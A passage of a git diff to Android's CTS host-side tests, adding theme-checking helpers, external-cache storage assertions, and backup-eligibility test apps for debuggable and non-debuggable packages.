+            case BASE_LT: return THEME_BASE_LT_COLORS;
+            case WARM: return THEME_WARM_COLORS;
+            case WARM_LT: return THEME_WARM_LT_COLORS;
+            case ROSE: return THEME_ROSE_COLORS;
+            case ROSE_LT: return THEME_ROSE_LT_COLORS;
+            default:
+                break;
+        }
+        return null;
+    }
+
+    public void assertThemeApplied(Activity activity) {
+        assertLayoutBGColor(activity, mCustomColor);
+
+        final Window window = activity.getWindow();
+        assertThat(window.getStatusBarColor()).isEqualTo(mStatusBarColor);
+        assertThat(window.getNavigationBarColor()).isEqualTo(mNavigationBarColor);
+        assertDrawableColor(window.getDecorView().getBackground(), mWindowBackground);
+
+        assertTextViewBGColor(activity);
+    }
+
+    private int getColor(Resources.Theme theme, int resourceId) {
+        final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+        final int color = ta.getColor(0, 0);
+        ta.recycle();
+        return color;
+    }
+
+    private int getDrawableColor(Resources.Theme theme, int resourceId) {
+        final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+        final Drawable color = ta.getDrawable(0);
+        ta.recycle();
+        if (!(color instanceof ColorDrawable)) {
+            fail("Can't get drawable color");
+        }
+        return ((ColorDrawable) color).getColor();
+    }
+
+    private void assertLayoutBGColor(Activity activity, int expected) {
+        final LinearLayout layout = activity.findViewById(R.id.content);
+        final Drawable background = layout.getBackground();
+        assertDrawableColor(background, expected);
+    }
+
+    private void assertDrawableColor(Drawable drawable, int expected) {
+        int color = 0;
+        if (drawable instanceof ColorDrawable) {
+            color = ((ColorDrawable) drawable).getColor();
+        } else {
+            fail("Can't get drawable color");
+        }
+        assertThat(color).isEqualTo(expected);
+    }
+
+    private void assertTextViewBGColor(Activity activity) {
+        final View view = activity.findViewById(R.id.text);
+        final Drawable background = view.getBackground();
+        assertDrawableColor(background, mColorBackground);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java
new file mode 100644
index 0000000..3931a55
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class ThemeActivity extends Activity {
+    static final String INTENT_THEME_TEST = "com.android.cts.splitapp.intent.THEME_TEST";
+    static final String EXTRAS_THEME_RES_ID = "com.android.cts.splitapp.intent.extra.THEME_RES_ID";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        final Intent intent = getIntent();
+        final int themeResId = intent.getIntExtra(EXTRAS_THEME_RES_ID, R.style.Theme_Base);
+        setTheme(themeResId);
+        setContentView(R.layout.base_linearlayout);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS b/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
index af75c90..9ca02fb 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
@@ -19,6 +19,7 @@
 import static android.os.storage.StorageManager.UUID_DEFAULT;
 
 import static com.android.cts.storageapp.Utils.CACHE_ALL;
+import static com.android.cts.storageapp.Utils.CACHE_EXT;
 import static com.android.cts.storageapp.Utils.CODE_ALL;
 import static com.android.cts.storageapp.Utils.DATA_ALL;
 import static com.android.cts.storageapp.Utils.MB_IN_BYTES;
@@ -130,6 +131,12 @@
         final long deltaCache = CACHE_ALL;
         assertMostlyEquals(deltaCache, afterApp.getCacheBytes() - beforeApp.getCacheBytes());
         assertMostlyEquals(deltaCache, afterUser.getCacheBytes() - beforeUser.getCacheBytes());
+
+        final long deltaExternalCache = CACHE_EXT;
+        assertMostlyEquals(deltaExternalCache,
+                afterApp.getExternalCacheBytes() - beforeApp.getExternalCacheBytes());
+        assertMostlyEquals(deltaExternalCache,
+                afterUser.getExternalCacheBytes() - beforeUser.getExternalCacheBytes());
     }
 
     public void testVerifyStatsMultiple() throws Exception {
@@ -296,6 +303,8 @@
         final long targetB = doAllocateProvider(PKG_B, 2.0, 1420070400);
         final long totalAllocated = targetA + targetB;
 
+        MediaStore.waitForIdle(getContext().getContentResolver());
+
         // Apps using up some cache space shouldn't change how much we can
         // allocate, or how much we think is free; but it should decrease real
         // disk space.
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/stubime/Android.bp b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
index 0038c05..7dc9cca 100644
--- a/hostsidetests/appsecurity/test-apps/stubime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/stubime/OWNERS b/hostsidetests/appsecurity/test-apps/stubime/OWNERS
new file mode 100644
index 0000000..ea4fd8f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/stubime/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 34867
+include platform/frameworks/base:/services/core/java/com/android/server/inputmethod/OWNERS
diff --git a/hostsidetests/backup/AdbBackupApp/Android.bp b/hostsidetests/backup/AdbBackupApp/Android.bp
new file mode 100644
index 0000000..089dd4a
--- /dev/null
+++ b/hostsidetests/backup/AdbBackupApp/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// An app that contains helper procedures to run 'adb backup' / 'adb restore'
+android_test_helper_app {
+    name: "AdbBackupApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+        "ub-uiautomator",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/AdbBackupApp/AndroidManifest.xml b/hostsidetests/backup/AdbBackupApp/AndroidManifest.xml
new file mode 100644
index 0000000..1d65109
--- /dev/null
+++ b/hostsidetests/backup/AdbBackupApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.adbbackupapp">
+
+    <application android:label="AdbBackupApp"/>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.adbbackupapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/AdbBackupApp/src/android/cts/backup/adbbackupapp/AdbBackupApp.java b/hostsidetests/backup/AdbBackupApp/src/android/cts/backup/adbbackupapp/AdbBackupApp.java
new file mode 100644
index 0000000..44e6a2a
--- /dev/null
+++ b/hostsidetests/backup/AdbBackupApp/src/android/cts/backup/adbbackupapp/AdbBackupApp.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.adbbackupapp;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Provides device side routines for running {@code adb backup}. To be invoked by the host side
+ * {@link BackupEligibilityHostSideTest}. These are not designed to be called in any other
+ * way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class AdbBackupApp {
+    private static final int CONFIRM_DIALOG_TIMEOUT_MS = 30000;
+
+    @Test
+    public void clickAdbBackupConfirmButton() throws Exception {
+        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        BySelector confirmButtonSelector = By.res("com.android.backupconfirm:id/button_allow");
+        UiObject2 confirmButton =
+                device.wait(Until.findObject(confirmButtonSelector), CONFIRM_DIALOG_TIMEOUT_MS);
+
+        assertNotNull("confirm button not found", confirmButton);
+        assumeTrue(confirmButton.isEnabled());
+
+        confirmButton.click();
+    }
+}
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
deleted file mode 100644
index c79b87c..0000000
--- a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2017 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.backup.backupnotallowedapp">
-
-    <application android:label="BackupAllowedApp">
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.cts.backup.backupnotallowedapp" />
-
-</manifest>
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
deleted file mode 100644
index 57efe7c..0000000
--- a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2017 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.backup.backupnotallowedapp">
-
-    <application android:label="BackupNotAllowedApp"
-        android:allowBackup="false">
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.cts.backup.backupnotallowedapp" />
-
-</manifest>
diff --git a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java b/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
deleted file mode 100644
index ed65e73..0000000
--- a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup.backupnotallowedapp;
-
-import static androidx.test.InstrumentationRegistry.getTargetContext;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.content.Context;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.BufferedOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.Random;
-
-/**
- * Device side routines to be invoked by the host side AllowBackupHostSideTest. These are not
- * designed to be called in any other way, as they rely on state set up by the host side test.
- *
- */
-@RunWith(AndroidJUnit4.class)
-@AppModeFull
-public class AllowBackupTest {
-    public static final String TAG = "AllowBackupCTSApp";
-    private static final int FILE_SIZE_BYTES = 1024 * 1024;
-
-    private Context mContext;
-
-    private File mDoBackupFile;
-    private File mDoBackupFile2;
-
-    @Before
-    public void setUp() {
-        mContext = getTargetContext();
-        setupFiles();
-    }
-
-    private void setupFiles() {
-        File filesDir = mContext.getFilesDir();
-        File normalFolder = new File(filesDir, "normal_folder");
-
-        mDoBackupFile = new File(filesDir, "file_to_backup");
-        mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
-    }
-
-    @Test
-    public void createFiles() throws Exception {
-        // Make sure the data does not exist from before
-        deleteAllFiles();
-        assertNoFilesExist();
-
-        // Create test data
-        generateFiles();
-        assertAllFilesExist();
-
-        Log.d(TAG, "Test files created: \n"
-                + mDoBackupFile.getAbsolutePath() + "\n"
-                + mDoBackupFile2.getAbsolutePath());
-    }
-
-    @Test
-    public void checkNoFilesExist() throws Exception {
-        assertNoFilesExist();
-    }
-
-    @Test
-    public void checkAllFilesExist() throws Exception {
-        assertAllFilesExist();
-    }
-
-    private void generateFiles() {
-        try {
-            // Add data to all the files we created
-            addData(mDoBackupFile);
-            addData(mDoBackupFile2);
-            Log.d(TAG, "Files generated!");
-        } catch (IOException e) {
-            Log.e(TAG, "Unable to generate files", e);
-        }
-    }
-
-    private void deleteAllFiles() {
-        mDoBackupFile.delete();
-        mDoBackupFile2.delete();
-        Log.d(TAG, "Files deleted!");
-    }
-
-    private void addData(File file) throws IOException {
-        file.getParentFile().mkdirs();
-        byte[] bytes = new byte[FILE_SIZE_BYTES];
-        new Random().nextBytes(bytes);
-
-        try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
-            bos.write(bytes, 0, bytes.length);
-        }
-    }
-
-    private void assertAllFilesExist() {
-        assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
-        assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
-    }
-
-    private void assertNoFilesExist() {
-        assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
-        assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
-    }
-}
diff --git a/hostsidetests/backup/AllowBackup/Android.bp b/hostsidetests/backup/BackupEligibility/Android.bp
similarity index 100%
rename from hostsidetests/backup/AllowBackup/Android.bp
rename to hostsidetests/backup/BackupEligibility/Android.bp
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp b/hostsidetests/backup/BackupEligibility/BackupAllowedApp/Android.bp
similarity index 100%
rename from hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp
rename to hostsidetests/backup/BackupEligibility/BackupAllowedApp/Android.bp
diff --git a/hostsidetests/backup/BackupEligibility/BackupAllowedApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/BackupAllowedApp/AndroidManifest.xml
new file mode 100644
index 0000000..9c416cc
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/BackupAllowedApp/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backupeligibilityapp">
+
+    <application android:label="BackupAllowedApp">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp b/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/Android.bp
similarity index 100%
rename from hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp
rename to hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/Android.bp
diff --git a/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/AndroidManifest.xml
new file mode 100644
index 0000000..e399a11
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backupeligibilityapp">
+
+    <application android:label="BackupNotAllowedApp"
+        android:allowBackup="false">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupEligibility/DebuggableApp/Android.bp b/hostsidetests/backup/BackupEligibility/DebuggableApp/Android.bp
new file mode 100644
index 0000000..7b15c39
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/DebuggableApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// An app used to verify 'adb backup' is enabled for debuggable apps.
+android_test_helper_app {
+    name: "DebuggableApp",
+    defaults: ["cts_defaults"],
+    static_libs: ["CtsAllowBackupLib"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/BackupEligibility/DebuggableApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/DebuggableApp/AndroidManifest.xml
new file mode 100644
index 0000000..a4ace14
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/DebuggableApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backupeligibilityapp">
+
+    <application android:label="DebuggableApp"
+                 android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupEligibility/NonDebuggableApp/Android.bp b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/Android.bp
new file mode 100644
index 0000000..c11bb63
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// An app used to verify 'adb backup' is disabled for non-debuggable apps.
+android_test_helper_app {
+    name: "NonDebuggableApp",
+    defaults: ["cts_defaults"],
+    static_libs: ["CtsAllowBackupLib"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/BackupEligibility/NonDebuggableApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/AndroidManifest.xml
new file mode 100644
index 0000000..b09e4ba
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backupeligibilityapp">
+
+    <application android:label="NonDebuggableApp"
+                 android:debuggable="false">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupEligibility/src/BackupEligibilityTest.java b/hostsidetests/backup/BackupEligibility/src/BackupEligibilityTest.java
new file mode 100644
index 0000000..0c071d1
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/src/BackupEligibilityTest.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.backupeligibilityapp;
+
+import static androidx.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+
+/**
+ * Device side routines to be invoked by the host side AllowBackupHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ *
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class BackupEligibilityTest {
+    public static final String TAG = "AllowBackupCTSApp";
+    private static final int FILE_SIZE_BYTES = 1024 * 1024;
+
+    private Context mContext;
+
+    private File mDoBackupFile;
+    private File mDoBackupFile2;
+
+    @Before
+    public void setUp() {
+        mContext = getTargetContext();
+        setupFiles();
+    }
+
+    private void setupFiles() {
+        File filesDir = mContext.getFilesDir();
+        File normalFolder = new File(filesDir, "normal_folder");
+
+        mDoBackupFile = new File(filesDir, "file_to_backup");
+        mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
+    }
+
+    @Test
+    public void createFiles() throws Exception {
+        // Make sure the data does not exist from before
+        deleteFilesAndAssertNoneExist();
+
+        // Create test data
+        generateFiles();
+        assertAllFilesExist();
+
+        Log.d(TAG, "Test files created: \n"
+                + mDoBackupFile.getAbsolutePath() + "\n"
+                + mDoBackupFile2.getAbsolutePath());
+    }
+
+    @Test
+    public void deleteFilesAndAssertNoneExist() {
+        deleteAllFiles();
+        assertNoFilesExist();
+    }
+
+    @Test
+    public void checkNoFilesExist() throws Exception {
+        assertNoFilesExist();
+    }
+
+    @Test
+    public void checkAllFilesExist() throws Exception {
+        assertAllFilesExist();
+    }
+
+    private void generateFiles() {
+        try {
+            // Add data to all the files we created
+            addData(mDoBackupFile);
